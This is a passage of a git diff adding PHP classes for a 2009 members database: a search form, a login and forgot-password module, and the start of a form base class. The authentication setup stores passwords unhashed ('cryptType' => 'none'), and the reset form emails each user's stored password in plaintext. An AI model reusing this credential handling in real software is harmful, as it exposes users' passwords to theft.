+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Search.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Description for require_once
+ */
+require_once 'FormBuilder.php';
+
+/**
+ * Form to search the members database
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_Search
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{     properties
+
+       /**
+        * The default rules to register for validating
+        *
+        * We have to register these rules, or any others we want, before
+        * we are able to use them in our forms.
+        *
+        * @var         string
+        * @access      protected
+        */
+       protected $registeredRules = array('zip');
+
+       //      }}}
+
+       //      {{{     __construct()
+
+       /**
+        * Constructor
+        *
+     * @param PDO    $pdo         PHP Data Object
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @see    HTML_QuickForm
+        * @access public
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+        $this->dbh = $pdo;
+               $this->template = BASE . 'Toolkit/Members/templates/currentTables/';
+       }
+
+       //      }}}
+
+       //      {{{ configureConstants()
+
+    /**
+     * Form constant definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureConstants()
+       {
+               $c = array(
+                       'cat' => 2,
+                       'subCat' => 1,
+               );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @param Config_Container $c Configuration object
+     *
+     * @return void     
+     * @access public
+     */
+       public function configureElements(Config_Container $c)
+       {
+        $e = array();
+
+        //  get reference to [listing type] section of config file
+        $config =& $c->getItem('section', 'listing type');
+        //  get coupon
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+        //  get reference to [conf] section of config file
+        $config =& $c->getItem('section', 'conf');
+        //  get controlled cities
+        $ctrlCtyDirective =& $config->getItem('directive', 'controlledCities');
+
+               $categories = $this->_getCategories();
+               $states     = $this->_getStates();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+            'type' => 'hidden',
+            'req' => false,
+            'name' => 'cat'
+        );
+               $e[] = array(
+            'type' => 'hidden',
+            'req' => false,
+            'name' => 'subCat'
+        );
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'categoryInfoHdr',
+            'display' => 'Search by Category'
+        );
+               $e[] = array(
+            'type' => 'select',
+            'req' => false,
+            'name' => 'category',
+            'display' => 'Category',
+            'opts' => $categories
+        );
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'recordInfoHdr',
+            'display' => "Find $pluralType",
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'name',
+            'display' => "$singularType Name"
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'email',
+            'display' => "$singularType Email"
+        );
+        if ($ctrlCtyDirective->getContent()) {
+            $e[] = array(
+                'type'    => 'select',
+                'req'     => false,
+                'name'    => 'city_id',
+                'display' => 'City',
+                'opts'    => $this->getCities(),
+            );
+        } else {
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => false,
+                'name'    => 'city',
+                'display' => 'City',
+            );
+        }
+               $e[] = array(
+            'type' => 'select',
+            'req' => false,
+            'name' => 'state',
+            'display' => 'State',
+            'opts' => $states
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'zip',
+            'display' => 'Zip'
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'submit',
+            'display' => 'Search'
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+    /**
+     * Form filter definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureFilters()
+       {
+        $f = array();
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper function to configure an entire form
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm(Config_Container $c)
+    {
+        $this->configureElements($c);
+        $this->configureRules();
+        $this->configureFilters();
+        $this->configureConstants();
+    }
+
+    //  }}}
+       //      {{{ configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+     * @return void     
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+               $r[] = array(
+            'element' => 'member_contact_email',
+            'message' => 'ERROR: Invalid Email Address!',
+            'type' => 'email',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'category',
+            'message' => 'ERROR: Invalid Category!',
+            'type' => 'numeric',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'state_id',
+            'message' => 'ERROR: Invalid State!',
+            'type' => 'numeric',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'zip',
+            'message' => 'ERROR: Invalid Zip!',
+            'type' => 'zip',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => false,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+       //      {{{     _getCategories()
+
+    /**
+     * get all the categories available in alpha order
+     * 
+     * @return array alpha order of categories available in the DB
+     * @access private
+     */
+       private function _getCategories()
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM category 
+                 ORDER BY name";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute();
+                       $stmt->bindColumn('category_id', $cid);
+                       $stmt->bindColumn('name', $name);
+
+                       $categories = array('' => '-- Select --');
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $categories[$cid] = $name;
+                       }
+
+                       return $categories;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ getCities()
+
+       /**
+        * Configure the cities for member stored in the database into an array
+        *
+     * @return array the cities
+        * @access protected
+        */
+       protected function getCities()
+       {
+               try {
+                       $sql = "
+                               SELECT *
+                                 FROM city
+                                ORDER BY city_name";
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $cities[$row['city_id']] = $row['city_name'];
+                       }
+                       if (!empty($cities)) {
+                               $cities = array('' => '-- Choose City --') + $cities;
+                       } else {
+                               $cities = array('' => '-- No Cities Created Yet -- ');
+                       }
+                       return $cities;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     _getStates()
+
+    /**
+     * get all the statis available in alpha order
+     * 
+     * @return array alpha order of states available in the DB
+     * @access private
+     */
+       private function _getStates()
+       {
+               try {
+                       $sql = "
+                SELECT *
+                  FROM state 
+                 ORDER BY state_name";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute();
+                       $stmt->bindColumn('state_id', $cid);
+                       $stmt->bindColumn('state_name', $name);
+
+                       $states = array('' => '-- Select --');
+                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                               $states[$cid] = $name;
+                       }
+
+                       return $states;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     setupRenderers()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Custom rendering templates for special fields on the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $tpl = '<tr align="center"><td colspan="2">{element}</td></tr>';
+               $renderer->setElementTemplate($tpl, 'submit');
+       }
+
+    //  @codeCoverageIgnoreEnd
+       //      }}}
+
+       //      {{{     toHtml()
+
+       /**
+        * Call the rendering function to get the form in a string
+        *
+        * @access protected
+        * @return string $output The Form to be rendered or success msg.
+        */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       $output = parent::toHTML();
+               } elseif ($this->isSubmitted()) {
+                       $output = $this->errorMsg;
+                       $output .= parent::toHTML();
+               } else {
+                       $output = parent::toHTML();
+               }
+               return $output;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Auth.php b/Toolkit/Members/Auth.php
new file mode 100644 (file)
index 0000000..639b495
--- /dev/null
@@ -0,0 +1,802 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Member Authentication
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Auth.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_Members_Auth-LoginForm, Toolkit_Members_Auth-PasswordForm
+ */
+
+require_once 'Auth.php';
+
+/**
+ * Methods for the memberdb authentication system
+ * 
+ * Handles Cookie and session generation, id challenges and security for
+ * the memberdb application
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_Members_Auth-LoginForm, Toolkit_Members_Auth-PasswordForm
+ */
+class Toolkit_Members_Auth extends Auth
+{
+       //      {{{     properties
+
+    /**
+     * Maximum idle time
+        *
+        * If more seconds pass before a new page request, then the user
+        * will have to re-authenticate back into the application.
+        * 1800 = 30 min
+        * 3600 = 1 hr
+        *
+     * @var    integer  
+     * @access protected
+     */
+       protected $idleTime = 1800;
+
+    /**
+     * Authentication options for storage driver
+        *
+        * This is setup here, so it can be overridden in subclasses and merged
+        * into existing authentication options.
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $classOptions = array();
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     * 
+     * Sets up the storage driver
+     * 
+     * @param Config_Container $c             Configuration object
+     * @param string           $storageDriver (optional)Type of the storage
+     *                                        driver
+     * @param array            $options       (optional)Additional options
+     *                                        for the storage driver
+     * @param string           $loginFunction (optional)Name of the function
+     *                                        that creates the login form
+     * @param boolean          $showLogin     (optional)Should the login form
+     *                                        be displayed if neccessary?
+        *
+     * @return void   
+     * @access public 
+     */
+       public function __construct(
+        Config_Container $c,
+        $storageDriver = 'DB',
+        array $options = array(),
+        $loginFunction = '',
+        $showLogin = true
+    ) {
+        $this->config = $c;
+               //      These are the default options, they are defined here b/c 
+               //      constants cannot be defined in the properites.
+               //      subclasses that define any of the same authOptions will overwrite
+               //      these when the options are merged.  ALSO, options passed in
+               //      via parameters will supercede/overwrite any of these authOptions
+               //      or subclass authOptions.
+               $defaultOptions = array(
+                       'dsn'                   => DSN,
+                       'table'                 => 'member',
+                       'usernamecol'   => 'member_login',
+                       'passwordcol'   => 'member_passwd',
+                       'db_fields'             => array('member_id', 'member_name'),
+                       'cryptType'             => 'none',
+                       'db_where'              => 'new_member != true',
+               );
+
+               $authOptions = array_merge(
+            $defaultOptions,
+            $this->classOptions,
+            $options
+        );
+
+               parent::Auth($storageDriver, $authOptions, $loginFunction, $showLogin);
+       }
+
+       //      }}}
+
+       //      {{{     loginForm()
+
+    /**
+     * Function to set up the regular login form
+     * 
+     * @param unknown $uname  Last attempted username
+     * @param unknown $status The authorization status
+     * @param unknown &$auth  The authentication object
+        *
+     * @return void   
+     * @access public 
+     */
+       protected function loginForm($uname = null, $status = null, &$auth = null)
+       {
+               $login =& new LoginForm('member_login',
+                                'post',
+                                BASE_URL . 'memberdb/index.php');
+        $login->setDbh(Toolkit_Database::getInstance());
+        $login->configureForm($auth->config);
+        echo $login->toHtml();
+       }
+
+       //      }}}
+
+       //      {{{     passwordForm()
+
+    /**
+     * Function to set up the forgot password form
+     * 
+     * @return void   
+     * @access public 
+     */
+       protected function passwordForm()
+       {
+               $pword =& new PasswordForm('member_password');
+        $pword->setDbh(Toolkit_Database::getInstance());
+        $pword->configureForm();
+               echo $pword->toHtml();
+       }
+
+       //      }}}
+
+       //      {{{     setIdle()
+
+    /**
+     * Set the maximum idle time
+     * 
+     * @param integer $time time in seconds
+     * @param boolean $add  (optional)add time to current maximum idle time or not
+        *
+     * @return void   
+     * @access public 
+     */
+       public function setIdle($time = null, $add = false)
+       {
+               $time = is_null($time) ? $this->idleTime : $time;
+               parent::setIdle($time, $add);
+       }
+
+       //      }}}
+}
+
+/**
+ * Handles rendering and validating the member login form
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_FormBuilder
+ */
+class LoginForm extends Toolkit_FormBuilder
+{
+       //      {{{     properties
+
+    /**
+     * Custom rules to check for when validating the form
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Where to perform validation
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $validationType = 'client';
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     * 
+     * @param string  $formName    Form's name
+     * @param string  $method      (optional)Form's method defaults to 'POST'
+     * @param string  $action      (optional)Form's action
+     * @param string  $target      (optional)Form's target
+     * @param mixed   $attributes  (optional)Extra attributes for the <form> tag
+     * @param boolean $trackSubmit (optional)Whether to track if the form
+        *                                                         was submitted by adding a special hidden field
+        *
+     * @return void   
+     * @access public 
+     */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+       }
+
+       //      }}}
+       
+       //      {{{     configureElements()
+
+    /**
+     * Sets up the elements to be configured for use with the form
+     * 
+     * @param Config_Container $c Configuration object
+     *
+     * @return void     
+     * @access protected
+     */
+       protected function configureElements(Config_Container $c)
+       {
+        $e = array();
+
+        //  get reference to [listing type] section of config file
+        $config =& $c->getItem('section', 'listing type');
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'formHdr',
+            'display' => "$singularType Login"
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'username',
+            'display' => 'Username'
+        );
+               $e[] = array(
+            'type' => 'password',
+            'req' => true,
+            'name' => 'password',
+            'display' => 'Password'
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'doLogin',
+            'display' => 'Login now',
+            'opts' => array('id' => 'doLogin')
+        );
+               $e[] = array(
+            'type' => 'link',
+            'req' => false,
+            'name' => 'forgot',
+            'display' => 'Forgot your password? Click',
+            'opts' => BASE_URL . 'index.php?catid='.MEMBERS_CATEGORY.'&forgot=',
+            'att' => 'here'
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Sets up the filters to be used with the form when submitted
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper method to setup form
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm(Config_Container $c)
+    {
+        $this->configureElements($c);
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{     configureRules()
+
+    /**
+     * Sets up required rules and extra defined rules for the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function configureRules()
+       {
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+    //  {{{ setDbh()
+
+    /**
+     * set the pdo to use for db calls
+     *
+     * @param PDO $pdo PHP Data Object to use
+     *
+     * @return void
+     * @access public
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+    
+    //  }}}
+       //      {{{     setupRenderers()
+
+    /**
+     * Inject custom renderers into the forms elements for custom display
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req">*</span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="form-warning-inside">{error}</div><!-- END error -->';
+
+               $renderer->setElementTemplate('<tr><td colspan="2" class="member-login-forgot">{label} {element}</td></tr>', 'forgot');
+               $renderer->setElementTemplate('<tr><td colspan="2" align="center">{element}</td></tr>', 'doLogin');
+       }
+
+       //      }}}
+
+       //      {{{     toHtml()
+
+    /**
+     * Returns an HTML version of the form
+     * 
+     * @return string HTML version of the form
+     * @access public
+     */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       header('Location: ' . BASE_URL . 'memberdb/index.php');
+               } elseif ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHtml();
+               } else {
+                       if ($_GET['status']) {
+                               switch ($_GET['status']) {
+                               case -1 :
+                                       $error = 'Your session has exceeded the maximum idle time';
+                                       break;
+
+                               case -2 :
+                                       $error = 'Your session has expired.';
+                                       break;
+
+                               case -3 :
+                                       $error = 'Invalid username or password.';
+                                       break;
+
+                               case -4 :
+                                       //      This is primarily used for Development.
+                                       //      Users should never be presented with this error.
+                                       $error = 'Invalid Container';
+                                       break;
+
+                               case -5 :
+                                       //      This is only thrown if the advanced security system
+                                       //      has detected a breach into the system.
+                                       $error = 'The system has encountered an error. Reference code: -5';
+                                       break;
+                               }
+                               $output = "<div id=\"form-warning-top\">$error</div>";
+                       }
+                       $output .= parent::toHtml();
+               }
+
+               return $output;
+       }
+
+       //      }}}
+}
+
+/**
+ * Handles rendering and validating the member password form
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Toolkit_FormBuilder
+ */
+class PasswordForm extends Toolkit_FormBuilder
+{
+       //      {{{     properties
+
+    /**
+     * Table to query when gathering information
+        *
+     * @var    string
+     * @access public
+     */
+       public $tableName = 'member';
+
+    /**
+     * Custom defined rules to validate against when the form is submitted
+        *
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Where to perform validation
+        *
+     * @var    string   
+     * @access protected
+     */
+       protected $validationType = 'client';
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     * 
+     * @param string  $formName    Form's name
+     * @param string  $method      (optional)Form's method defaults to 'POST'
+     * @param string  $action      (optional)Form's action
+     * @param string  $target      (optional)Form's target
+     * @param mixed   $attributes  (optional)Extra attributes for the <form> tag
+     * @param boolean $trackSubmit (optional)Whether to track if the form
+        *                                                         was submitted by adding a special hidden field
+        *
+     * @return void   
+     * @access public 
+     */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+
+               $this->template = dirname(__FILE__) . '/templates/currentTables/';
+       }
+
+       //      }}}
+       
+       //      {{{     checkAddressExists()
+
+    /**
+     * Checks to see if the email address exists before allowing an email to go out
+     * 
+     * @param string $value submitted email address
+        *
+     * @return boolean If the email address exists or not
+     * @access public 
+     */
+       public function checkAddressExists($value)
+       {
+               try {
+                       $sql = "
+                SELECT count(*) AS total
+                  FROM {$this->tableName}
+                 WHERE member_contact_email = :mce";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mce', $value, PDO::PARAM_STR);
+                       $stmt->execute();
+                       $stmt->bindColumn('total', $exists);
+                       $stmt->fetch();
+
+                       return (bool) $exists;
+               } catch (PDOException $e) {
+                       Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     configureElements()
+
+    /**
+     * Sets up the elements to be configured for use with the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function configureElements()
+       {
+        $e = array();
+
+               $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'formHdr',
+            'display' => 'Email Reminder'
+        );
+               $e[] = array(
+            'type' => 'text',
+            'req' => true,
+            'name' => 'email',
+            'display' => 'Your Member Contact Email Address'
+        );
+               $e[] = array(
+            'type' => 'submit',
+            'req' => false,
+            'name' => 'submit',
+            'display' => 'Send'
+        );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Sets up the filters to be used with the form when submitted
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+    
+    /**
+     * Helper method to setup form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{     configureRules()
+
+    /**
+     * Sets up required rules and extra defined rules for the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function configureRules()
+       {
+        $r = array();
+
+               $r[] = array(
+            'element' => 'email',
+            'message' => 'ERROR: Invalid Email Format!',
+            'type' => 'email',
+            'format' => null,
+            'validation' => $this->validationType,
+            'reset' => true,
+            'force' => false
+        );
+               $r[] = array(
+            'element' => 'email',
+            'message' => 'ERROR: Cannot locate email address!',
+            'type' => 'callback',
+            'format' => array(&$this,
+            'checkAddressExists'),
+            'validation' => $this->validationType,
+            'reset' => true,
+            'force' => false
+        );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+
+    //  {{{ setDbh()
+
+    /**
+     * set the pdo to use for db calls
+     *
+     * @param PDO $pdo PHP Data Object to use
+     *
+     * @return void
+     * @access public
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+    
+    //  }}}
+       //      {{{     setupRenderers()
+
+    /**
+     * Inject custom renderers into the forms elements for custom display
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req">*</span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="form-warning-inside">{error}</div><!-- END error -->';
+
+               $renderer->setElementTemplate('<tr><td colspan="2" align="center">{element}</td></tr>', 'submit');
+       }
+
+       //      }}}
+
+       //      {{{     processData()
+
+    /**
+     * Processes the data submitted by the form
+     * 
+        * Gets the login credentials for the matching email address and mails
+        * them to that email address
+     * 
+     * @param array $values submitted form values
+        *
+     * @return boolean Result of mail
+     * @access protected
+     */
+       protected function processData($values)
+       {
+               try {
+                       $sql = "
+                SELECT member_login, member_passwd
+                  FROM {$this->tableName}
+                 WHERE member_contact_email = :mce";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':mce', $values['email'], PDO::PARAM_STR);
+                       $stmt->execute();
+                       $row = $stmt->fetch();
+
+                       $htmlMsg
+                = "Here is your " . SITENAME . " password:<br><br>" . 
+                                 "Login: {$row['member_login']}<br>" .
+                                 "Email: {$values['email']}<br>" .
+                                 "Password: {$row['member_passwd']}<br><br>";
+
+                       $msg
+                = "Here is your " . SITENAME . " password:\n\n" . 
+                                 "Login: {$row['member_login']}\n" . 
+                                 "Email: {$values['email']}\n" .
+                                 "Password: {$row['member_passwd']}";
+
+                       $crlf     = "\n";
+                       $mimeMail = new Mail_mime($crlf);
+                       $mimeMail->setFrom(SITENAME . ' <' . OWNER_EMAIL . '>');
+                       $mimeMail->setSubject('Your ' . SITENAME . ' Password');
+                       $mimeMail->setHTMLBody($htmlMsg);
+                       $mimeMail->setTXTBody($msg);
+
+                       $mail    =& Mail::factory('mail');
+                       $body    = $mimeMail->get();
+                       $headers = $mimeMail->headers($hdrs);
+                       
+                       $res = $mail->send($values['email'], $headers, $body);
+
+                       return PEAR::isError($res) ?
+                                       Toolkit_Common::handleError($res) :
+                                       $res;
+               } catch (PDOException $e) {
+                       Toolkit_Common::handlError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{     toHtml()
+
+    /**
+     * Returns an HTML version of the form
+     * 
+     * @return string HTML version of the form
+     * @access public
+     */
+       public function toHtml()
+       {
+               $this->setupRenderers();
+               if ($this->validate()) {
+                       if ($this->process(array(&$this, 'processData'))) {
+                               $url    = BASE_URL . 'index.php?catid=' . MEMBERS_CATEGORY;
+                               $e      =& $this->getElement('email');
+                               $email  = $e->getValue();
+                               $output
+                    = "<p>Your Login Information has been sent to $email</p>" .
+                                         "<p>Continue to <a href=\"$url\">Member Login</a></p>";
+                       } else {
+                               $output = '<p>Email address not found.</p>';
+                       }
+               } elseif ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHtml();
+               } else {
+                       $output .= parent::toHtml();
+               }
+
+               return $output;
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Auxiliary.php b/Toolkit/Members/Auxiliary.php
new file mode 100644 (file)
index 0000000..8e7fc50
--- /dev/null
@@ -0,0 +1,405 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: Auxiliary.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Base class used for building forms to accompany the members database
+ *
+ * This class handles all common functions that are to be used in
+ * the auxiliary forms used to assist in the members DB.
+ * (categories, amenities, regions, etc...).
+ *
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Auxiliary.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://devsys2.gaslightmedia.com/demo.gaslightmedia.com/admin/members/
+ * @see       Toolkit_Members, member_admin
+ */
+abstract class Toolkit_Members_Auxiliary
+    extends Toolkit_FormBuilder implements Toolkit_Form
+{
+       //      {{{ properties
+
+       /**
+        * Primary table used for database calls
+        *
+        * @var         String
+        * @access      Public
+        */
+       public $tableName;
+
+       /**
+        * Array of primary table meta data
+        *
+        * This array will hold the column data types for the fields
+        * that will be manipulated in the database.
+        *
+        * @var         Array
+        * @access      Public
+        */
+       public $tableMetaData;
+
+       /**
+        * The name of the template used for the form
+        *
+        * @var         String
+        * @access      Protected
+        */
+       protected $formTemplate;
+
+       /**
+        * The object to use inside the form
+        *
+        * This object which is to be populated by the $this object                
+        * is used inside the templates and allows access back into the
+        * calling class to call publicly available functions
+        *
+        * @var         String
+        * @access      Protected
+        */
+       protected $view;
+
+    /**
+     * rules to use with the form
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Setup options to use for rendering the template engine
+     * @var    array    
+     * @access protected
+     */
+       protected $flexyOptions = array();
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *                            
+        * @access public
+        */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
